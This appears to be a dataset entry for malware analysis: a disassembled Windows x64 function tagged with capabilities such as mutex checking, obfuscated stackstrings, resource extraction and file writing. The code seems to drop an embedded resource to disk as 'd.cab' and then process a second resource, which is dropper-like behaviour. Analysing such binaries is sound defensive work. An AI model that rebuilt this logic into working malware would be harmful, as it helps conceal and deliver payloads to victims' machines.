Function at 0x14000dbb0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Create thread
Extract resource via kernel32 functions
Set current directory
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x140001178]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov edi, 0x5c
mov dword [rbp - 0x19], 0x6c0047
lea r8, [rbp - 0x19]
mov dword [rbp - 0x15], 0x62006f
xor ecx, ecx
mov dword [rbp - 0x11], 0x6c0061
mov dword [rbp - 0xd], 0x54005c
xor esi, esi
lea edx, [rdi - 0x5b]
mov dword [rbp - 9], 0x51004e
mov dword [rbp - 5], 0x4e0030
mov dword [rbp - 1], 0x540032
mov dword [rbp + 3], 0x510061
mov dword [rbp + 7], 0x310075
mov dword [rbp + 0xb], 0x61
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000dec4
call fcn.14000b310
test eax, eax
je 0x14000ded5
mov ecx, 0x1fffc
call fcn.140017a0c
mov r8d, 0xfffc
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, edi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrRChrW]
test rax, rax
je 0x14000dc91
mov r8d, edi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrRChrW]
mov word [rax], si
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov rcx, rbx
call fcn.140017a04
lea rax, [rbp - 0x29]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x14000cd00]
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x140001e80]
mov qword [rbp - 0x31], rsi
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000de6c
mov qword [rsp + 0xe0], r14
mov rdx, rax
xor ecx, ecx
mov qword [rsp + 0xe8], r15
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov r15, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp - 0x21]
mov dword [rsp + 0x28], 2
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp - 0x21], 0x61632e64
mov ebx, eax
mov word [rbp - 0x1d], 0x62
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rbp - 0x25]
mov qword [rsp + 0x20], rsi
mov rcx, rax
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000dd7d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeResource]
movdqa xmm0, xmmword [0x140001ef0]
lea rdx, [rbp + 0xf]
movdqa xmm1, xmmword [0x140001f80]
lea rcx, [rbp - 0x19]
movdqu xmmword [rbp + 0xf], xmm0
mov dword [rbp + 0x2f], 0x632e6420
movdqu xmmword [rbp + 0x1f], xmm1
mov dword [rbp + 0x33], 0x2f206261
mov word [rbp + 0x37], 0x61
call fcn.14000c580
mov rdx, qword [rbp - 1]
mov r15, qword [rsp + 0xe8]
mov r14, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x14000de0c
mov rcx, qword [rbp - 0x19]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000de07
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000debe
call fcn.14001132c
lea r8, [0x140001e80]
mov edx, 0x64
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x14000de9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rsi
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea r8, [rbp - 0x39]
mov rdx, rbx
lea rcx, [rbp - 0x31]
mov dword [rbp - 0x39], eax
call fcn.14000b6e0
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rdx, qword [rbp - 0x31]
mov rcx, rsi
call fcn.14000e4d0
mov rcx, rsi
mov rbx, rax
call fcn.140017a04
test rbx, rbx
je 0x14000de9d
call fcn.14000ac10
mov rcx, rbx
call fcn.14000e390
mov rcx, rbx
call fcn.14000e410
xor eax, eax
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140011700
mov rbx, qword [rsp + 0xf0]
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
call fcn.1400153f4
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.140017cbc
int3
xor ecx, ecx
call fcn.140017cbc
int3